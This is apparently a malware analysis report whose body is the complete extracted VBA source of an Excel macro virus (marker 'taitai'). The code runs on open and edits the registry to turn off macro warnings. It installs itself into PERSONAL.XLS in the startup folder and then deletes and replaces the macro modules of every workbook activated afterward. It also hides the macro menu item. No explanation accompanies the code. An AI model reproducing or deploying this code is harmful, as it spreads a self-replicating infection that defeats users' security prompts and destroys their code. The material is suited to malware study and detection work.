Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FF"

Private Declare Function RegOpenKeyExA Lib "ADVAPI32.DLL" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "ADVAPI32.DLL" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "ADVAPI32.DLL" (ByVal hKey As Long) As Long
Global Const REG_DWORD As Long = 4
Global Const HKEY_CURRENT_USER As Long = &H80000001
Dim p As String
Dim AppS As String
'taitai
Private Sub auto_open()
    u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Office\8.0\Excel\Microsoft Excel", 0, KEY_ALL_ACCESS, k)
    u = RegSetValueExA(k, "Options6", 0, REG_DWORD, Chr$(0), 4)
    u = RegCloseKey(k)
    p = Application.PathSeparator
    AppS = Application.StartupPath
    DelMcr
    If UCase(ThisWorkbook.Name) = "PERSONAL.XLS" Then
        Application.OnSheetActivate = "ActOpf_Evt"
        ActOpf_Evt
    Else
        CkStrUP
    End If
End Sub
Private Sub ActOpf_Evt()
    On Error GoTo h_er
    Application.DisplayAlerts = False
    Application.ScreenUpdating = False
    awn = ActiveWorkbook.Name
    If Left(Right(awn, 4), 3) = ".xl" Then
        aw_m_n = Chk_Mo_N(awn)
        If aw_m_n = "" Then
            n = Chk_Mo_N(ThisWorkbook.Name)
            cop_m (n)
            Workbooks(awn).Save
        Else
            m_n = ActiveWorkbook.VBProject.vbcomponents(aw_m_n).codemodule.Lines(9, 1)
            If m_n <> "'taitai" Then
                Set v_c = ActiveWorkbook.VBProject.vbcomponents
                For i = v_c.Count To 1 Step -1
                    If v_c(i).Type = 1 Or v_c(i).Type = 2 Then
                        v_c.Remove v_c(i)
                    End If
                Next i
                n = Chk_Mo_N(ThisWorkbook.Name)
                cop_m (n)
                Workbooks(awn).Save
            End If
        End If
    End If
    Application.ScreenUpdating = True
    Application.DisplayAlerts = True
    Exit Sub
h_er:
End Sub
Private Sub CkStrUP()
    Application.DisplayAlerts = False
    Application.ScreenUpdating = False
     f1 = "PERSONAL.XLS"
    If UCase(Dir(AppS & p & f1)) <> f1 Then
        cre_f
    ElseIf chk_per = False Then
        Workbooks("Personal.xls").Close
        Kill AppS & p & f1
        cre_f
    Else
    End If
    Workbooks("Personal.xls").Close
    Workbooks.Open AppS & p & "Personal.xls"
  
    Application.OnSheetActivate = "'" & AppS & p & f1 & "'!ActOpf_Evt"
    Application.DisplayAlerts = True
    Application.ScreenUpdating = True
End Sub
Private Function chk_per()
  
    ar2 = ExecuteExcel4Macro(arg)
    ModuleName1 = Chk_Mo_N("Personal.xls")
    If ar2 <> ModuleName1 Then
        chk_per = False
    Else
        chk_per = True
    End If
End Function
Private Function Chk_Mo_N(WkName)
On Error Resume Next
    Set a1 = Workbooks(WkName).VBProject.vbcomponents
    For i = 1 To a1.Count
        If a1(i).Type = 1 Then
            Chk_Mo_N = a1(i).Name
            Exit For
        Else
            Chk_Mo_N = ""
        End If
    Next i
End Function
Private Sub cre_f()
    Workbooks.Add
    n = Chk_Mo_N(ThisWorkbook.Name)
    Range("C1") = "=rand()"
    r_n = Chr((Range("C1") * 100) Mod 21 + 65) & _
        Chr((Val(Left(Right(Now(), 5), 2)) * 100) Mod 21 + 65)
    Range("C1") = r_n
    cop_m (n)
    ActiveWorkbook.VBProject.vbcomponents(n).Name = r_n
    Set aw = ActiveWorkbook.Sheets
    For i = aw.Count To 2 Step -1
        aw(i).Delete
    Next i
    aw_n = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks(aw_n).SaveAs AppS & p & "Personal.xls"
End Sub
Private Function cop_m(n)
    On Error Resume Next
    Set tw = ThisWorkbook.VBProject.vbcomponents
    Set aw = ActiveWorkbook.VBProject.vbcomponents
    tw(n).Export (AppS & p & "t")
    aw.Import (AppS & p & "t")
    Kill (AppS & p & "t")
    tw("Class1").Export (AppS & p & "t")
    aw.Import (AppS & p & "t")
    Kill (AppS & p & "t")
End Function
Private Sub DelMcr()
    On Error Resume Next
    n1 = ActiveWorkbook.Name
    Set a2 = Application.CommandBars("Tools")
    a2.Reset
    If a2.Controls(10).Id = 30017 Then
        a2.Controls(10).Delete
    End If
    Workbooks(n1).Activate
End Sub